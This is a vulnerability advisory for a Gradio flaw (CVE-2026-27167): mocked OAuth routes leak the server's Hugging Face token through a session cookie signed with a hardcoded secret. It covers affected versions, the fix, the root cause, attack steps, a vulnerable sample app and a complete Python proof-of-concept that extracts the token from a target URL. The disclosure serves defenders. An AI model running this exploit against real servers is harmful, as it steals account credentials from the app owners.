CVE-2026-27167: Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret
Summary Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingfacehub.gettoken() and stores it in the visitor's session cookie.
Published Mar 1, 2026 · Updated Jun 5, 2026
Affected packages
gradio
- Ecosystem
- PyPI
- Affected
- >= 4.16.0, < 6.6.0
- Fixed in
- 6.6.0
- Check
pip show gradio
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingface_hub.get_token() and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string "-v4", making the payload trivially decodable.
Affected Component
gradio/oauth.py — functions attach_oauth(), _add_mocked_oauth_routes(), and _get_mocked_oauth_info().
Root Cause Analysis
1. Real token injected into every visitor's session
When Gradio detects it is not running inside a Hugging Face Space (get_space() is None), it registers mocked OAuth routes via _add_mocked_oauth_routes() (line 44).
The function _get_mocked_oauth_info() (line 307) calls huggingface_hub.get_token() to retrieve the real HF access token configured on the host machine (via HF_TOKEN environment variable or huggingface-cli login). This token is stored in a dict that is then injected into the session of any visitor who hits /login/callback (line 183):
request.session["oauth_info"] = mocked_oauth_infoThe mocked_oauth_info dict contains the real token at key access_token (line 329):
return {
"access_token": token, # <-- real HF token from server
...
}2. Hardcoded session signing secret
The SessionMiddleware secret is derived from OAUTH_CLIENT_SECRET (line 50):
session_secret = (OAUTH_CLIENT_SECRET or "") + "-v4"When running outside a Space, OAUTH_CLIENT_SECRET is not set, so the secret becomes the constant string `"-v4"`, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.
In practice, Starlette's SessionMiddleware stores the session data as plaintext base64 in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.
Attack Scenario
Prerequisites
- A Gradio app using OAuth components (
gr.LoginButton,gr.OAuthProfile, etc.) - The app is network-accessible (e.g.
server_name="0.0.0.0",share=True, port forwarding, etc.) - The host machine has a Hugging Face token configured
OAUTH_CLIENT_SECRETis not set (default outside of Spaces)
Steps
- Attacker sends a GET request to
http://<target>:7860/login/huggingface - The server responds with a 307 redirect to
/login/callback - The attacker follows the redirect; the server sets a
sessioncookie containing the real HF token - The attacker base64-decodes the cookie payload (everything before the first
.) to extract theaccess_token
Minimal Vulnerable Application
import gradio as gr
from huggingface_hub import login
login(token="hf_xxx...")
def hello(profile: gr.OAuthProfile | None) -> str:
if profile is None:
return "Not logged in."
return f"Hello {profile.name}"
with gr.Blocks() as demo:
gr.LoginButton()
gr.Markdown().attach_load_event(hello, None)
demo.launch(server_name="0.0.0.0")
Proof of Concept
#!/usr/bin/env python3
"""
POC: Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860")
ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080")
args = ap.parse_args()
base = args.target.rstrip("/")
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
# 1. Trigger mocked OAuth flow — server injects its own HF token into our session
s = requests.Session()
s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)
cookie = s.cookies.get("session")
if not cookie:
print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr)
sys.exit(1)
# 2. Decode the cookie payload (base64 before the first ".")
payload_b64 = cookie.split(".")[0]
payload_b64 += "=" * (-len(payload_b64) % 4) # fix padding
data = json.loads(base64.b64decode(payload_b64))
token = data.get("oauth_info", {}).get("access_token")
if token:
print(f"[+] Leaked HF token: {token}")
else:
print("[-] No access_token found in session.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()Credited to tenbbughunters.
References
- https://github.com/gradio-app/gradio/security/advisories/GHSA-h3h8-3v2v-rg7m
- https://nvd.nist.gov/vuln/detail/CVE-2026-27167
- https://github.com/gradio-app/gradio/commit/dfee0da06d0aa94b3c2684131e7898d5d5c1911e
- https://github.com/gradio-app/gradio/releases/tag/[email protected]
- https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-63.yaml
- https://github.com/advisories/GHSA-h3h8-3v2v-rg7m
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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